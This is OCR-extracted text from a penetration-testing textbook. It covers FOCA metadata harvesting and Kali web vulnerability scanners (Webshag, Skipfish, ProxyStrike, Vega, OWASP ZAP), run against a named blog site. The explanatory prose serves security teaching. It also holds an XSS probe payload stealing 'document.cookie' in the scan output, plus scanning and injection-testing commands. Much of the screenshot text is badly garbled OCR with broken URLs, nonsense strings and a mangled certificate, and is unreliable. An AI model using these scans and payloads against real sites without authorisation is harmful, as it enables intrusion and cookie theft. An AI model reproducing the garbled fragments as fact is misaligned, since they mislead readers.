fow Downloaded document: hitp://wwew wit com/news e /STL 000,
fow Downloaded document: hitp://www it com/news_events/documents/STL Taday050208 pdf
ow Downloaded document: hitp -/, Wt com/m
- MetadataSearch  low Document metadata extracted; \\psf\Home"\Diesktop\My FOCA Project \DigtalLfeDeck (1)pptx
1:11:05.. MetadataSearch  ow document: hitp. | WWe com/news_events/do s/ WWT_SunDCBestPractice...
o Conf | ;7 Deactivate AutoScrall | 2 Clear | [HseveieaoF
Downloading 53/140 L

6. Right-click on the file and select the Analyze Metadata option, as shown in
the following screenshot:

& Test Project - FOCA Free 3.2 JEJﬂ
[='Project  Tools . Options () Tasdist &'About (5] Donate
@ Test Project = tion,
=) Network fExtensios
o Google v doc  |y| x5 v ppsx || Suc
f: gu umma}» r ¥ Bing et [ docx A xsx g sxi
"l Uniocated Servers I Exalend Wipps [vlppte isew ot bouta
- Domains Al Nose 1] p and by
s useful
Custom search
id [ Tvpe [URL [ Downioad | Download Date: I B =
IE]J0 et \ipshHome\Deskion\DigtiallfeDeck pptx . 1027/20121:0931..  294MB  »| 8| Dovo
(oIl doc  Hetp://www.wwt com/products_services/documerts/CC.. » 10/27/2012 1992 IBAKE x| & Dawnioad Al
) Fodes )) doc  hitp://www.wwt.com/missoun/docs/eep doc . W27/2012108:32..  285KB X . Stop All Downloads
.'b Preters (0 ind}a doc  Hitp://Awww wwt.com/products_senvices/documerts/CC...  » W27/2012 10933, 357KB | x|
D Sohtwars ) =y doc  itp://www.wwt.com/products_services/documents/Qa... ¢ 10/2772012109:36..  345KB x|| g Delete
£ Emais (0) ii]s doc  hitp/fwww.wwt.com/products_services/documents/DC.. o 10/27/2012 1:09.34... 3E5KE x| o Delete Al
25 Operating Systems (0) g doc  hitps:/Awwew wwt.com/p ents/C. v 0/27/72012 10935, I65KE x|
), Passwords (0) =7 s itp//www wwt.com/mancete teceralsNIH I E X8 . 10/27/201210936 . 1205KB x| @ ExtactMetadata
& Servers () @]8 s hitpAwww wewt com federal/images/NIHZ s . 10/27/2012 1:08:37 705K x|#  Extract Al Metada
&g s hitp.//www wwt com/markets federal/NIH3 s . 10/27/2012 1:09:37. 104 KB | X[
@110 de hitp/www ot com Federalimages/NIH1C s . 10/27/72012108:38..  6365KB -
@11 s hitp//www.wwt.com federalimages/NIH1B xis . 10/27/20121:0938..  1005KB x| | o Addfie
4 | o Add folder
Tisevertty [ Memage T ae  Add URLs from fle
low X documert: = /ST TodayD50206 pof o e
low " document: hitp://www wit com/news. /SBusdmi_E2408 pdf
low Document metadata exdracted: \psf\Home'\Deskiop\My FOCA Proect\DigtalUfeDeck (1) pptx
low De document. A 1/news_e ANWT_SunDCBestPractice.
low Dow " it TTG500Cisco’ |
low x document. hitp.//» festemal_c
< Con | [ Desctivate AutoSeroll | 2 Cleas |
Downloading 61/140 -
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In the following screenshot, you can see two people opened this document.

Test Project - FOCA Free 3.2

1= Project 'Tools . ;Options () Tasklist /& About [ Donate

jElx

E- Test Project
[l Network
Clients (1)
Servers (0}
7., Unlocated Servers
= Domains

rEc

9 Roles
@ Vunerabilties

Attribute | Value

B Metadata

(=1 Documerts (1/140) All users found (2) - Times found
&) ppx (1)

[~ Mstadata Summary Josy Muniz T

Aamir Lakhani 1

(2 Folders (0)

(S Printers (0)
-~ Software (2)

[ Emails (0)
% Operating Systems (0)
= % Passwords (0)

(4 Servers (0}

ded document: hitp:/Awww.wwt .com/extemal_content/downloads/CashmanEquipmentSuc.
ded document: hitp:/Awww.wt _events/d A
ded document: http://uww wwt com/news_events/documents/stlbj_9_0_05 pdf

d document: hitp://www vewt com/extemal_content /downloads/CSMars_Data_Sheet pdf
d document: http://www wwt com/news_events,/documents MWT_DesktopVirtualizatio

1:1343 1
1:13:58 1

Conf | [ Desctivale AutoSeroll | Z;Clear |

_—

Downloading 65/140

ded document: hitp:/ Awww.wwt .com/markets/documents MW TTG500Cisco Telepresence _.

s/ MWWT_ 1HC.

=
[HSave log to File

You can also determine Microsoft Office for the Mac and Adobe Photoshop were
used to create this document as shown in the following screenshot:

Test Project - FOCA Free 3.2

'Tools . iOptions () Tasklist g~ About Donate
)
2 Servers (0)
" (7L, Unlocated Servers
Domains
4 Roles
@ Vunerabilties
= Metadata Atribute [ value
=1 Documents (1/140) All software found (2) - Times found
3 (2
] potx (1 Microsof Ofic for Mac 1
. Metadata Summary
Adobe Photoshop C53 1

I =]

Time Source Sevi Message

1:12:02 low D document: http://www wwt.com/extemal _content/downloads/CashmanEquipment Suc..
11231 low D document: hitp://www wwt com/news_svents /documents/WWT_WirslessMobiltyin HC.
1:13:00 low D document: hitp://www wwt com/news_events /documents/stibj_3_0_05 pdf

1:13:43 low D documert: http://www wwt.com/extemal_cortent/downloads /CSMars_Data_Sheet pdf
1:13:58 low D documet: http://Awww wwt.com/news_events/documents/VWWT_DesktopVirtualizatio
1:14:40 low D documert: http://Awww wwt.com/news_events/documents/GCN_021307 pdf

Cont | [ Deactivate AutoSerall | 2, Clear |

—

Dowrloading 65/140

=
[=]Save log toFile
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In many cases, attackers will be able to see much more information and gather
intelligence about a target.

FOCA allows the user to save and index a copy of all the metadata. In addition,
each type of metadata file can be saved and copied. This gives a Penetration Tester
a wealth of information. Screenshots are usually used to give an overview of the
indexed files, along with a listing of all individual files. Finally, FOCA will allow a
Penetration Tester to download individual files that can be used as examples.

Summary

Reconnaissance is typically the most critical step in a Penetration Testing exercise
and can be the most time consuming. Any actions taken against a target is
customized around results from Reconnaissance previously performed. The more
data known about a target equates to the less likely to trigger alarms, as well as
better chance of identifying a way to compromise the target. It is recommended to
look at this chapter as a prerequisite to the remaining chapters in this textbook.

In this chapter, we focused on various ways to gather information about a target. We
showcased some popular free tools available on the Internet, as well as Information
Gathering utilities available in Kali Linux. At this point, you should be ready to
evaluate targets identified through Reconnaissance for possible exploitation.

The next chapter will focus on identifying and exploiting vulnerabilities in web
applications and web servers.
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A server by definition is a dedicated computing system running services to users and
other computers on a network. Examples of service range from public services such
as online gaming to sharing sensitive files inside a large organization. In the context
of client-server architecture, a servers is a computer program running to serve

the requests of other programs, known as the "clients". Thus, the server performs
some computational task on behalf of "clients". The clients either run on the same
computer, or connect through the network. For example, a server would host a game
to the world while clients would access the game remotely. There are various forms
of providing services to clients such as an Apache Web Server limited to HTTP or a
BEA WebLogic Application Server that does HTTP plus more.

Network servers are typically configured to handle the load of servicing large
volumes of clients. This means adding additional processing, memory and

storage making these assets valuable targets for hackers. Organizations typically
manage servers remotely and don't actively monitor activity, meaning small hits

in performance or other indicators of being compromised may go unnoticed. It's
common to find malicious users have accessed compromised servers for long periods
of time prior to the owners identifying the vulnerability used to access the system.

This chapter will focus on identifying and exploiting vulnerabilities in web
application servers. We will start out with showcasing tools available in Kali used
to identify vulnerabilities. Next, we will focus on exploiting vulnerabilities to gain
access to web application servers. We will conclude with other methods to access
web application services.

www.it-ebooks.info


http://www.it-ebooks.info/

Server-side Attacks

Vulnerability assessment

Server-side attacks are exploiting and finding vulnerabilities in services, ports,

and applications running on a server. For example, a web server has several attack
vectors. It is a server running an operating system and running various pieces of
software to provide web functionality. It has many open TCP ports. Each one of
these vectors could harvest a vulnerability that an attacker could exploit to get into
the system and obtain valuable information. Many protocols on servers are handled
through readable non-encrypted text.

Let's take a look at some tools available in Kali for identifying vulnerabilities
on servers.

Webshag

Webshag is a multi-threaded, multi-platform tool used to audit web servers.
Webshag gathers commonly useful functionalities for web servers such as port
scanning, URL scanning and file fuzzing. It can be used to scan a web server in
HTTP or HTTPS, through a proxy and using HTTP authentication (basic or digest).
In addition, Webshag can use IDS evasion capabilities aimed at making correlation
between requests more complicated.

Webshag provides additional innovative capabilities such as retrieving the list of
domain names hosted on a target machine as well as fuzzing using dynamically
generated filenames. Webshag can perform fingerprinting of web pages while being
resistant to content changes. This feature is designed as a false positive removal
algorithm aimed at dealing with "soft 404" server responses.

Webshag is accessed through a GUI or a command-line console and available with
the Linux and Windows platforms. Webshag can be found under Web Applications
| Web Vulnerability Scanners as webshag-gui.

Webshag is easy to use. Each feature has a tab on the top. Select the desired feature
tab, enter in your target URL under the target space and click on OK to execute. You
can run multiple tabs simultaneously. Features include Port Scanning, Spider, URL
Scan, and Fuzzing. The next four screenshots show Webshag performing a port scan,
web spider crawl, URL scan, and file Fuzz of www.thesecurityblogger. com:
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webshag 1.10

Hi

|PSCAN|| INFO SPIDER USCAN FuZZ
Settings

Target [host_| IPv4]:
www.thesecurityblogger.com

Results
Open Ports: Port Details:

587
80

Console:

INFO  Scan of www.thesecurityblogger.com finished
INFO Found 2 open ports.

Status
Idle. Last scan finished @ 17/04/2013 12:05:30

oK

PSCAN INFO SPIDER USCAN FUZZ

Settings
Target [host | IPv4]: Port [80]:  Start [findex_html]:

| www.thesecurityblogger.com ||80 /
Results
intemnal directories: emails:

!
fwp-content/uploads/2011/08/

extemnal links:

www.definethecloud.net

www.lockpicking101.com
www.nactac.com
www.pauldotcom.com
www.memestreams.net
www2 wwt.com
wordpress.org
automattic.com
www.feedburner.com

Console:

INFO Spidering www.thesecurityblogger.com / 80

OK

Stop
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* webshag 1.10

PSCAN INFO SPIDER | USCAN | FUZZ
Settings
Target(s) [hostl, host2,...]: Port(s) [80, 8080....1:
|www.thesecuﬁtyblogger.com | |BO | | || Stop |
Root directoties [/, /dir/,...]: Skip string [Not Found]: | . |
|;‘ | | | | automnatic -- [ v|
Results
Targets:
ese e raseSearchText=scriptalertdocument.cookie/ 3
script&SearchContentClassID=-1&SearchSectionlD=-1&SearchDate=-1&SearchButton=Search
[301] findex.php/content/search/?SectionlD=3&SearchText=<script=alert{document.cookie)</
script=
Redirected to: http://www.thesecurityblogger.com/content/search/?
SectionID=3&SearchText=scriptalertdocument.cookie/script D
— )
Console:
ERROR  Request failed. Server may be overloaded. 4
ERROR  Request failed. Server may be overloaded.
ERROR  Request failed. Server may be overloaded.
ERROR  Request failed. Server may be overloaded.
ERROR  Request failed. Server may be overloaded. D

webshag 1.10

PSCAN INFO SPIDER USCAN | FUZZ |
Settings
Target(s) [hostl, host2,...]: Port(s) [80, 8080,...]:
‘www‘thesetuﬁtybloggencom | |80 ‘ ‘ || Stop ‘
Root directoties [/, /dir/....1: Expression [log_[a-z]{1H0-9]{2}.txt]: ‘—‘
I | ¥ Fuzz Directories ® Fuzz Files |  sywitch to Gen Mode
Results
Targets: Results:
| www.thes I o [[403] fcgi-bin/ [*
[[401] [stats/
[[200] fwp-content/
_ [200] fwp-includes/
|
Console:
TARGET Scanning www.thesecurityblogger.com / 80
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Webshag offers exporting all data found during an audit in the XML, HTML, and
TXT file formats. Webshag's final report is organized in a logical format making it
worthy of use as a standalone document or article of reference for a Penetration Test
delivery report. The next two screenshots show exporting options and the top of a
audit report:

[ = Export Report...

Export Results:
® Port Scanner & Info ®& Spider ® URL Scanner ® Fuzzer

Output File:

| /root/Desktop/results | Open
Output File Format:

| xml [ ]

xml

htmi

txt

A'Udit Report webshag/1.10

26-04-2013

Port Scanner

64.90.50.80

B0 (tcp)
Service: http
587 (tcp)
Service: smtp

Product: Postfix smtpd

Info

Spider

More information about Webshag can be found at
s http://www.scrt.ch/en/attack/downloads/webshag.
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Skipfish
Skipfish is a web application security Reconnaissance tool. Skipfish prepares an

interactive sitemap for the target using recursive crawl and dictionary-based probes.
The resulting map provides output after being scanned by security checks.

Skipfish can be found under Web Applications | Web Vulnerability Scanners as
skipfish. When you first open Skipfish, a Terminal window will pop up showcasing
the Skipfish commands. Skipfish can use built-in or customizable dictionaries for
vulnerability assessment.

Note that some dictionaries may not be found in Kali. You can
%j%&‘ download the latest version of Skipfish and default dictionaries
’ from https://code.google.com/p/skipfish/.

The available dictionaries are located in the dictionary file.

il'fi'i-h—.?. 10b/dictionaries# 1s

complete.wl ensions-only.wl medium.wl minimal .wl

There are various command options available in Skipfish. To run Skipfish against a
target website using a custom wordlist, enter skipfish, select your wordlist using
the -w option followed by the location of the wordlist, select your output directory
using -o followed by the location, and finally the target website.

Skipfish -o (output location) -W (location of wordlist) (target website)

The following example shows a scan using a wordlist called complete.wl on
securityblogger.com. Skipfish will create a folder called skipfishoutput
on the desktop. This is run using the keyword skipfish, -o /root/Desktop/
Skipfishoutput to specify the location to which send the output, -w /root/
Desktop/complete.wl to specify the location of the dictionary and http://
www . thesecuirtyblogger.com as the target to scan against.

:~# skipfish -o /root/Desktop/Skipfishoutput -W /root/Desktop/complete.wl http://www.thesecurityb

logger.c -:-ml
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-
Note that the default skipfish dictionaries will not run when using the
-W command. You can copy a default wordlist and remove the read-only
in the first line of the list (#ro) to run as a custom wordlist. This is shown
in the following screenshot:
complete.wl
File Edit Search Options Help
lro
eg 1117z
N es 111 as
es 1 1 1 asmx
es 111 asp
o es 1 1 1 aspx
eg 1 1 1 bak
es 1 1 1 bat
eg 1 1 1 bin
eg 111 bz2
es 111c
es 1 11 cc
eqg 1 1 1 cfg
es 1 1 1 cfm
es 1 11 cqgi
es 1 1 1 class
eg 1 1 1 cnf
eg 1 1 1 conf
eg 1 1 1 config

If there are no compiling errors, you will be presented with a launch screen that

states the scan will start in 60 seconds or on pressing any key.

Welcome to skipfish. Here are some useful tips:

1) To abort the scan at any time, press . A partial report will be written
to the specified location. To view a list of currently scanned URLs, you can

press at any time during the scan.

2) Watch the number requests per second shown on the main screen. If this figure
drops below 100-200, the scan will likely take a very long time,

3) The scanner does not auto-limit the scope of the scan; on complex sites, you
may need to specify locations to exclude, or limit brute-force steps.

4) There are several new releases of the scanner every month. If you rum into
trouble, check for a newer version first, let the author know next.

More info: http://code.google.com/p/skipfish/wiki/KnownlIssues

241544

Press any key to continue (or wait 60 seconds)... l

[79]

www.it-ebooks.info


http://www.it-ebooks.info/

Server-side Attacks

You can press the Spacebar to see the details on the scan or watch the default numbers
run. Scanning a target can take anywhere from 30 seconds to a few hours to complete
the process. You can end a scan early by typing Ctrl + C.

skipfish version 2.89b by lcamtuf@google.com
- www.thesecurityblogger.com -

Scan statistics:

8.8 kB/s)

ed, @ drops

22 tal (
e failur

119 skipped
31

Database statistics:
123 total, 1 done

167 pending, 13 i s, 1 dict

unkn, 23 par, @ val
impact
256 candidates

Once the scan is complete or if you end it early, Skipfish will generate a ton of output
files in the location specified when using the -o option to designate an output folder.
To see the results, click on the index.html file, which will bring up an Internet
browser. You can click through the drop-down boxes to see your results. See the
example reports section for more information.

Scan date:
Total time:

Crawl results - click to expand:

Click here

id = http://www.example.com/ @4 Q6

html-xm UTF-8 [ show trace +
2 New 404 signature seen
1. 404 270

tex: show trace +
2 New 'Server' header value seen

UTF-8 [ show trace +

UTF-8 [ show trace -

[+ icons @

-1 [ show trace +
index.html

200 596 text/html UTF-8 [ show trace +

Document type overview - click to expand:

application/xhtml+xml (35)
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ProxyStrike

ProxyStrike is a web application proxy built to identify vulnerabilities while browsing
an application. It runs like a proxy listening on port 8008 by default, meaning you
have to configure your Internet browser to run through ProxyStrike so that it can
analyze all the parameters in the background while your surf the target's website.

The proxy features are great for identifying, intercepting, and modifying requests.

To configure an Internet browser such as Firefox to use ProxyStrike, select in FireFox
Preferences | Advanced | Network and select Settings. Select Manual Proxy and
enter the IP address of your Kali server followed by the port of 8008 (unless you plan
to change the ProxyStrike default port).

D O 6 Advanced

o] = £y A BB 5 O ey

General Tabs Content Applications Privacy Security Sync | Advanced

Configure Proxies to Access the Internet

Ce [_INo proxy
ca ) Auto-detect proxy settings for this network
_JUse system proxy settings
Ce I:__E__:' Manual proxy configuration:
¥ HTTP Proxy: 172.16.76.131 Port: 8008 |
1 Use this proxy server for all protocols
SSL Proxy: Port: 0l
FTP Proxy: Port: 0ls
ol
| SOCKS Host: Port: 0|+
Y () SOCKS v4 (+)SOCKS v5
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To use ProxyStrike, go to Web Applications | Web Vulnerability Scanners and
select ProxyStrike. Assuming your Internet browser is sending traffic to ProxyStrike,
you should see captured traffic in the Comms tab. We will spend more time using
Proxies in Chapter 6, Web Attacks.

ProxyStrike v2.1
Help
Comms | Request Stats Variable Stats Config Plugins Log Repeat Request = Crawler
Method Target E|
1
2 | GET http://googleads.g.doubleclick.net  /pagead/ads?client=ca-pub-9261916952152076&output=html&h=200&slotname=95946
3 GET http://googleads.g.doubleclick.net  /pagead/ads?client=ca-pub-9261916952152076&output=html&h=6008&slotname=21210
4 |GET http://googleads.g.doubleclick.net  /pagead/ads?client=ca-pub-9261916952152076&output=html&h=600&slotname=21210!
5 aFT httneinival anantsarua cam Inival [~]
B
Select
D Get © Post @ AlL Repeat Intercept Edit requests in view | | Delete requests in view | | Delete selected requests
Target: |All e}
Path: ALl T
n T e e e g e =
Q Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*,q=0.8
= User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:20.0) Gecko/20100101 Firefox/20.0
4
| B Connection: close
§ Cookie: __utma=253748300.1757255857.1366923731.1367354074.1374097140.3;
§_ __utmz=253748300.1366923731.1.1.utmesr=(direct) Jutmccn=(direct) [utmemd= (none);
@ | --Qca=P0-2019225104-1366923733115; __utmb=253748300.1.10.1374097140; __utmc=253748300
o
-
b

The crawler features are an easy way to scan a target website for SQL or SSL and
XSS plugin vulnerabilities. You do not have to have ProxyStrike set up as a proxy to
use the crawler features. To run the crawler feature on a website with XSS plugins,
click on the Plugins tab, scroll to the XSS plugs, and select to enable the plugins
using the checkbox. Next, select the crawler tab. Enter the target website including
http://, check the crawl using the plugins box and click on the large Stop button
to change it to Running. Adding the plugins will increase the time to complete a
scan. ProxyStrike will display a status bar providing an estimate on how long a scan
should take.

—

Comms Reguest Stats  Variable Stats  Config | Plugins
L3
Plugin selection: | X5S & S5 attacks <

| lenable
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Comms | Request Stats | Variable Stats = Config = Plugins | Log | Repeat Request | Crawler

Unig Froms

Stopped ‘

Crawl using plugins

url: lhttp:ﬁwww.thesecurityb[ogger.com l

|J 0% | Not Running

|. Reset |

* ProxyStrike v2.1

Comms Request Stats Variable Stats Config Plugins Log Repeat Request|CrawIer‘

‘ Uniq Froms

Running http://www.thesecurityblogger.com
http:/fwww.thesecurityblogger.com
. . http:/fiwww.thesecurityblogger.com/?p=2068#comments
& Crawl using plugins http://www.thesecurityblogger.com/?p=2068#more-2068
un: [ http://www.thesecurityblogger.com http:/fwww.thesecurityblogger.com/?attachment_id=2070
http:/f/www.thesecurityblogger.com/?attachment_id=2071
http:/fwww.thesecurityblogger.com/?p=2068
‘ - 4% A73/3253 http://www.thesecurityblogger.com/?p=2098#comments
http://www.thesecurityblogger.com/?p=2098#more-2098
‘ Reset J http:/fwww.thesecurityblogger.com/?attachment_id=2100
http://www.thesecurityblogger.com/?attachment_id=2099
http:/fwww.thesecurityblogger.com/?p=2098
http:/fwww.thesecurityblogger.com/?p=1903#comments
http:/fwww.thesecurityblogger.com/?attachment_id=1999
http:/fwww.thesecurityblogger.com/?attachment_id=1996
http://www.thesecurityblogger.com/?attachment_id=2113
http://www.thesecurityblogger.com/?attachment_id=1992
http://www.thesecurityblogger.com/?attachment_id=2112
http:/fiwww.thesecurityblogger.com/?attachment_id=2111
Crawling process: The crawling process is performed by TWO threads hittp://www.thesecurityblogger.com/?p=2123#respond
http:/fwww.thesecurityblogger.com/?attachment_id=2127
http:/fwww.thesecurityblogger.com/fp=2123#more-2123
http:/fwww.thesecurityblogger.com/?attachment_id=2126

to avoid web server overloading.

The urls detected can be forwarded to enabled plugins. hitp://www.thesecurityblogger.com/?attachment_id=2125
. § http://www.thesecurityblogger.com/?p=2123
Moreover detected forms are shown in the table and can be filled hitp:/www.thesecurityblogger.com/?p=2161#comments !
manually by double-clicking on each link. Enjoy!
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The Plugins tab shows the results of a crawl after a scan is launched. Attacks
identified can be exported via HTML or XML.

Comms Request Stats Variable Stats Config | Plugins ‘ Log Repeat Request Crawler

Plugin selection: | XSS & SSl attacks v | Reset cache | ‘ Export HTML | | Export XML
¥ enable Request threads |1 B
urd Variable Method Injections Available
- http://www.thesecurityblogger.com/?cat=242
cat GET
- http://www.thesecurityblogger.com/?tag=the-balancing-act
' (Single Quotes) (Normal Encoding).
=g = () (Parenthesis) (Normal Encoding)
— http://www.thesecurityblogger.com/?p=2068
p GET

— http://www.thesecurityblogger.com/?attachment_id=2071

attachment_id GET
- http://www.thesecurityblogger.com/?page_id=2
page_id GET
— http://www.thesecurityblogger.com/?feed=comments-rss2

feed GET () (Parenthesis) (Normal Encoding)

The Log tab shows what tasks are being run against the target website and the level
of success for each attack. This file can be copied into a text file for a final deliverable.
The Crawler tab lists out all the identified unique web links associated to a target.

Comms Request Stats Variable Stats Config Plugins | Log | Repeat Request Crawler

Log output:

Trying sql Injection on: [ URL: http://www.thesecurityblogger.com/wp-
includes/js/thickbox/thickbox.js7ver=3.1-20121105 ]

p:/fwww.thesecurityblogger.com/wp-includes/js/thickbox/thickbox.js?ver=3.1-20121105 ]

X55/551
[ URL: http://www.thesecurityblogger.com/wp-includes/js/thickbox/thickbox.js?ver=3.1-20121105 ]
Stab 1 - DONE
Trying ver...
++++++++++++++++++ FINISH XS5/SSI +++++++++++++++++
[ URL: htt]

X55/551
[ URL: http://www.thesecurityblogger.com/?cat=242 ]

Stab 2 - DONE
URL is STABLE

Trnuina dunamis norenatar - GET  uar

ProxyStrike offers other useful features. More on ProxyStrike can be found at
http://www.edge-security.com/proxystrike.php.
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Vega

& VEGA 10

Vega is a security testing tool used to crawl a website and analyze page content to
find links as well as form parameters.

To launch Vega, go to Web Applications | Web Vulnerability Scanners and select
Vega. Vega will flash an introduction banner and display a GUL

Subgraph Vega
File Scan Window Help
= (
@ = (0] Scanner | 2 Proxy
& Website View = 0 |® Scan Info =0
® = BB =
@ Scan Alerts =B Scan Alert Summary
o=
D)
¢ |dentities 23 3 =0
2 % “ Proxy is not running 71M of 248M |
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Vega has Scanner and Proxy tabs on the top-right corner. To use Vega as a Scanner,
click on the Scanner tab on the top-right corner, click on Scan on the top-left corner,
and select to start new scan.

File Scan Window Help

@ p-4 |® Scanner | £ Proxy

& Website View =0 @ scan Info 5
® & ® B /

b @ www.thsse(urityblugger‘((B

¥ @ vEGa

P&

You will see an input field asking for the target. The following example is targeting
www . thesecurityblogger. com. Choose your target and click on Next:

Scan Target

@® Enter a base URI for scan:

http:/fwww.thesecurityblogger.com| l

) Choose a target scope for scan

The next sections are options you can assess your target against. There are two main
modules (Injection and Response Processing) with many options to scan against.
Click on the small carrot under each module, select the options you want to scan for,
and click on Next.

Select Modules
Choose which scanner modules to enable for this scan vEGA

Select modules to run:
= [ Injection Modules =
[) Format String Injection Checks
Cross Domain Policy Auditor
XML Injection checks
Blind SQL Text Injection Differential Checks
XSS Injection checks
[ Integer Overflow Injection Checks
Shell Injection Checks
Blind OS Command Injection
Remote File Include Checks -
[ Blind SQL Injection Timing Analysis Checks
Directory Listing and Traversal Checks

[ Blind €A1 Ininctinn Arithmatic Eualistion Diffarantial Chacke =

< Back Next > Cancel || Finisn |
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The following two screenshots offer the ability to add cookies and exclusion patterns
to avoid fuzzing, which are both optional. You can leave the defaults and click on
Next for both screens. Click on Finish to start your scan.

Vega will display the active scan and map vulnerabilities found to what level of risk
they pose to the target system.

File Scan Window Help

0 = I_@ Scanner‘
& website View = B8 | @ scan Info
® &= FH B
> & www.thesecurityblugger‘((E
'@ VEGA
. &
b &
> & =
] n B Scanner Progress
@Scan Alerts =0
(1] =
=) J

http://www.thesecurityblogger.com/wp-includes/ms-fu

v http:/fwww.thesecurityblog
1 119 out of 151 scanned (78.8%)

b @ Medium (95)
b @ Low (12)
b @ Info (1086) Scan Alert Summary
< ® 05/09/2013 10:48:57 [Cancel
b 9http:ﬂwww.thesecurityblog

@ Medium {95 found)

The top left window titled Website View displays the target(s) being scanned
and other targets associated with the primary target. The bottom left window
titled Scan Alerts shows the categories of vulnerabilities found. You can click
on the carets beside the Alerts to see what vulnerabilities Vega finds. When you
click on any vulnerability, Vega displays a definition of what is found with a
detailed explanation of its possible impact.
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The following screenshot shows a possible cross-site scripting vulnerability on

www . thesecurityblogger.com:

4 @www‘thesecurltyblogger‘c =
]

b @

b @

b @
@ D]
G)Scan Alerts =g

o M B

B

~ @ 05/18/2013 08:21:19 [Auc

~ @ http:/fwww.thesecurityb
< @ Medium (105)

= % Local Filesystem Pz
*/
2 fwp-includesfau

% fwp-includes/car

# /wp-includes/cat

N =R © vecs

@ Website View =0 @ Scan Info

Local File m Paths Found

P AT A GLANCE

Classification Information
Resource Jfwp-includesfadmin-bar.php
Risk

P REQUEST

GET /wp-includes/admin-bar.php

P RESOURCE CONTENT

I /home/funktribe/thesecurityblegger. com/wp-1includes/admin-bar.php

P DISCUSSION

Vega has detected a possible absolute filesystem path (i.e. one that is not relative to the web
root). This information is sensitive, as it may reveal things about the server environment to an
L K, o fil. + Il Lt m thy h blinAd sttaele Enll

Vega's Proxy section provides the ability to see the requests and responses from

a target website. The Proxy section will be populated as a scan occurs.

% Requests

1D Host

S & ¥ 0o

Method Request Status Length Time (1

D)

<link rel="alt
<link rel="sty
<link rel="styl

<link rel="styl

1 http://www.these GET :!wpfcontent! 200

2 http:ﬁwww.theszf GET i;’wp-incLudes." 200

3 http:ﬁwww.thessi GET i;’xerpc.php 200

4 . http:/fwww.these GET | fwp-includesfjs/ | 200 |

5 http:ﬁwww.thessg GET Epr-incLudesfthems 200 877 90 ol
a : : = : o |)]_
Ox s . .
Request Response

<title>Joey Muniz - The Security Blogger</title>

<link rel="profile" href="http://gmpg.org/xfn/11" />

<link rel="stylesheet” type="text/css"” media="all" href="http://www.thesecurityblc
<link rel="pingback" href="http://www.thesecurityblogger.com/xmlrpc.php" />

<link rel="alternate" type="application/rss+xml" title="The Security Blogger &raqu

ask23slperystalé23slpdarkness’%23slpoxygeni23slgoxygen_gif#23slpplaini23
ext/css' media='all' />

| B3]

ernate” type="application/rss+xml" title="The Security Blogger &raqu
lesheet' id="thickbox-css' href="http://www.thesecurityblogger.com/w
lesheet' id="gdsr_style_main-css' href="http://www.thesecurityblogge

lesheet' id="qdsr_style_xtra-css' href 1 i 2 il it B I~

[ [ bJ

= (%)

@ Proxyis
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Vega offers details about vulnerabilities found in the central display window as well
as a summary page. These details can be copied into a final deliverable.

Scan Alert Summary

0

@ Medium (106 found)
Local Filesystem Paths Found 46
PHP Error Detected 59
Possible Source Code Disclosure 1

@ Low (34 found)
Directory Listing Detected 31
Internal Addresses Found 3

@ info (119 found)
News Feed Detected 1
Blank Body Detected 61
Possible AJAX code detected 1
Character Set Not Specified 56

Owasp-Zap
Owasp-Zap also known as Zaproxy is an intercept proxy designed for the security
testing of web applications.

Open Zaproxy by going to Web Applications | Web Application Fuzzers and
selecting owasp-zap. There will be a disclaimer pop-up that must be accepted to start
the program.

Upon accepting the license disclaimer, Owasp-Zap will open and display another pop-
up asking if you would like to create an SSL Root CA certificate. This allows Zaproxy
to intercept HTTPS traffic over SSL in a browser. This is important to test applications
that use HTTPS. To generate an SSL certificate, click on the Generate button.

OWASF ZAFP
55L Root CA certificate
- q S5L won't work If you haven't created and imported an
OWASP ZAP CA rcot certificate. You can create such a

| certificate any time in the options menu, so you do not hawve
to create it right now.

| Generate | Go to options panel and create certificate now.

| Later | Not now, but create certificate later.
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There will be a window that pops up asking to generate or import a certificate. You
can generate a certificate by clicking on Generate. You can save the new certificate by
clicking on Save and selecting where you want to place it. The new certificate file is
called owasp cap root ca.cer.

SrETgar e

¥ Optlons
Active Scan
AJAX Spider porA =k
Hoo | - BEGIN CERTIFICATE-----

Anti CSRF Tokens . .
API A Generate MIIDEDCCAL CgAwIBAgIENK +ZqTANBgk ghk 1 GOWOBAQUFADCBEg] EnMCUGAL
Wr/ T1dBUL AgWmVk IEFOdGF] ay BOcm94e5B85b 290 ENBMRYWFAYDVQOHDAOZNT|

55L Certificate b4

W Sites

Applications - ¥ 2k MTk x MRYwFAYDVQOKDAL PVOFTUCBESh 290T ENEMRowGAYDVOOLDEFPYVO
Authentication = QVAgUnSvdCBDOTELMAK GALUEBhMCeHgwHh c NMTHWNT ASH] EzNj AOWheNMT|
o M EzNj AOWj CBj EnMCUGAL UEAwweTLdBUL Agiin Vk IEFOJGF] ayBOcn9des
TENEMRY WFAYDVOOHDADZNT gwZTIyY 2k MTk x MRYWFAYDVOOKDALPVOFTUC

Save IENEMRowGAYDVOOLDEFPVOFTUCBaOVAgUn 9 d CBDOTELMAK GA1 UEBhMCeH
MAOGCSqGSTh 3DOEBAQUAAAT BOWAWIQEKAS IBAQCSEUbY 32p] NAEFT 3NaGn

. - — Hhs32GJXy fITSfbGRhaanMcELHF ZBI r 0000Kwo1dOBBQ730 / M/t j WG/ SKY]
|l Desktop hd " BN ) || & £ 1| B | ybPeNPicfpO3EEbgdQp3zj c4S6HD3fmgzFeri2w0ZiKo54Y0plQcj SiEy
S - T FhPUOTRH] t+EhwmVut J80kaEVy Tk ArITLCxbgBmH+t XBaY1 nhE3WHbFn QR
L M) cswt Tt xNRFMFSSV1y cBne37ZIGIHASrPL/ J9p J620Hmgl VIBSLapGEo

Ister-Lists _| A0.M0.word \FH4qT] TOWkUC+ STXR2nEUKne YHDHF2; j t 2U+ TpmEu JnAHI4GnSSXk Onr /
r | AD.M10.hash AAG] ZDB1MBOGALUADg OWBBSZ3EbGL J1 HPBU fwyBmr rl USPKIKzZ APBQNVHR
ish-2.10b A0.M10.word STADAQH/ MAS GALUdDWOEAWI Bt j Aj BgNVHSUEHDAaBg g rBgEFBOCDAQY TKw!
§ = &wI GBEFU J0AWDOY JKo ZThv c NAQEFEQADgg EBAFSGHT B) VnZq 33Xy dCRgend
fishoutput complete.wl F9pCHHALHVURNIWCx 4rPj /pakNzp/epIPzHah3yYB19v 20T Ac ZaB23Ke 3N
